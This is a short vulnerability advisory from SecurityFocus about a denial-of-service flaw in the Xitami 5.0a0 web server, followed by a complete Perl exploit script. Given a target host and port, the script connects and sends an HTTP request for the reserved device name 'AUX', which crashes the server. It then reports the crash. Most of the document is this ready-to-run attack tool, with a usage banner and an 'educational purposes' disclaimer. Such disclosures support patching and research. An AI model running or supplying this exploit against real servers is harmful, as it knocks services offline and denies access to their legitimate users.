source: https://www.securityfocus.com/bid/40027/info

Xitami is prone to a denial-of-service vulnerability.

Attackers can exploit this issue to crash the affected application, denying service to legitimate users.

Xitami 5.0a0 is vulnerable. 

#!/usr/bin/perl
# Xitami/5.0a0 Denial Of Service
# Disclaimer:
# [This code is for Educational Purposes , I would Not be responsible for any misuse of this code]
# Author: Usman Saeed
# Company: Xc0re Security Research Group
# Website: http://www.xc0re.net
# DATE: [10/05/10]

$host = $ARGV[0];
$PORT = $ARGV[1];

$packet = "AUX"; 


$stuff = "GET /".$packet." HTTP/1.0\r\n\r\n";



use IO::Socket::INET;
if (! defined $ARGV[0])
{
print "+========================================================+\n";
print "+ Program [Xitami/5.0a0 Denial Of Service]               +\n";
print "+ Author [Usman Saeed]                                   +\n";
print "+ Company [Xc0re Security Research Group]                +\n";
print "+ DATE: [10/05/10]                                       +\n";
print "+ Usage :perl sploit.pl webserversip wbsvrport           +\n";
print "+ Disclaimer: [This code is for Educational Purposes ,   +\n";
print "+ I would Not be responsible for any misuse of this code]+\n";
print "+========================================================+\n";





exit;
}


$sock = IO::Socket::INET->new( Proto => "tcp",PeerAddr  => $host , PeerPort  => $PORT) || die "Cant connect to $host!";
print "+========================================================+\n";
print "+ Program [Xitami/5.0a0 Denial Of Service]               +\n";
print "+ Author [Usman Saeed]                                   +\n";
print "+ Company [Xc0re Security Research Group]                +\n";
print "+ DATE: [10/05/10]                                       +\n";
print "+ Usage :perl sploit.pl webserversip wbsvrport           +\n";
print "+ Disclaimer: [This code is for Educational Purposes ,   +\n";
print "+ I would Not be responsible for any misuse of this code]+\n";
print "+========================================================+\n";




print "\n";

print "[*] Initializing\n";

sleep(2);

print "[*] Sendin DOS Packet \n";

send ($sock , $stuff , 0);
print "[*] Crashed :) \n";
$res = recv($sock,$response,1024,0);
print $response;



exit;